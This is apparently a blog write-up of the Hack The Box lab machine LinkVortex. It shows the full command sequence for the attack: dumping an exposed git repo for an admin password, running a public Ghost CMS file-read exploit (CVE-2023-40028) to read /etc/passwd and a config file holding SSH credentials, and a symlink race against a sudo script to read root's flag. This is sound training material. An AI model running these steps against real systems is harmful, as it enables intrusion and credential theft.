# LinkVortex

Hack-The-Box 39 / 72
3 min read
HTB Windows Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. Git
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: LinkVortex
  • OS Type: Linux
  • Difficulty: Windows

Port Scanning - Service & Version Enumeration

Terminal window

Enumeration

Port 80/HTTP

let’s open website in web browser

image.png

we need to add linkvortex.htb to /etc/hosts as web server is expecting us to access it using hostname

Terminal window
echo "10.10.11.47 linkvortex.htb" | sudo tee -a /etc/hosts

and refresh the webapege

image.png

let’s check the tech stack using whatweb

Terminal window
whatweb http://linkvortex.htb
image.png

run the gobuster to find hidden directories

Terminal window
gobuster dir -u http://linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -b 301,404
image.png

nothing much interesting the LICENCE file contains

Terminal window
Copyright (c) 2013-2022 Ghost Foundation


Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:


The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.


THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

the backend web server is Ghost, which confirmed by the whatweb as well

then i ran wfuzz, to find the subdomains

Terminal window
wfuzz -u http://linkvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.linkvortex.htb" --hh 230

the --hh switch is used to filter the response like it’s exclude the 230CH response

image.png

so there’s dev subdomain founded by wfuzz, let’s add this to our /etc/hosts file

and visit, dev.linkvortex.htb

image.png

new domain, new site let’s run gobuster again i used quickhits.txt

Terminal window
gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -b 403,404
image.png

Nice the git repo is exposed, i’ll use git-dumper to dump the git repository from the website

Terminal window
git-dumper http://dev.linkvortex.htb/ linkvortex

after that i ran git status to find any interesting information

image.png

since we can see the authentication.test.js has been modified, let’s see what’s changed in that file

Terminal window
git diff HEAD ghost/core/test/regression/api/admin/authentication.test.js
image.png

now we need to login to Ghost CMS admin panel which can be found here → http://linkvortex.htb/ghost

image.png

and we got the admin panel, now as we have the password let’s try to login as admin we use simple guess admin@linkvortex.htb to login to the admin panel

image.png

after logining-in i found the version of Ghost CMS from Gear icon > About Ghost

image.png

searching for exploit i found - https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028

Ghost Arbitrary File Read Exploit (CVE-2023-40028)

This script exploits a vulnerability in Ghost CMS (CVE-2023-40028) to read arbitrary files from the server. By leveraging a symlink in an uploaded ZIP file, an attacker can gain unauthorized access to sensitive files on the system.

download the exploit and run it

Terminal window
bash exploit.sh -u admin@linkvortex.htb -p 'OctopiFociPilfer45' -h http://linkvortex.htb
image.png

we tried by reading /etc/passwd file

i tried dumping some SSH keys for the node user but no success, i remember that we got the full config path in docker file

image.png

let’s read the config file

reading the config file i found the credentials of bob user

image.png

let’s use this credentials to login as bob

Terminal window
ssh bob@10.10.11.47
image.png
Terminal window
sudo -l
image.png

reading the script

image.png

it seems the TOCTOU (time-of-check-time-of-use vulnerability)

in first terminal we’ll run below command

Terminal window
while true; do ln -sf /root/root.txt /var/quarantined/toctou.png; done

in second session we run below command

Terminal window
ln -s /home/bob/.bashrc /dev/shm/toctou.png


ls -l /dev/shm/toctou.png

and then run it, we’ll get the root.txt

Terminal window
CHECK_CONTENT=true sudo bash /opt/ghost/clean_symlink.sh /dev/shm/toctou.png
image.png
Next: Magic
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Analytics

Hack-The-Box 4 / 72
2 min read

Linux Easy machine - Analytics.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon.

# **Devvortex**

Hack-The-Box 24 / 72
4 min read

Linux Easy machine - **Devvortex**.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP MySQL

# Knife

Hack-The-Box 37 / 72
4 min read

Linux Easy machine - Knife.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. MySQL Git SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

# Silentium

Hack-The-Box 61 / 72
4 min read

Linux Easy machine - Silentium.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). Docker ⓘ A containerization platform — misconfigured sockets or escapes can lead to host compromise. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. Brute Force ⓘ Systematically trying many credential combinations until one succeeds.
Comments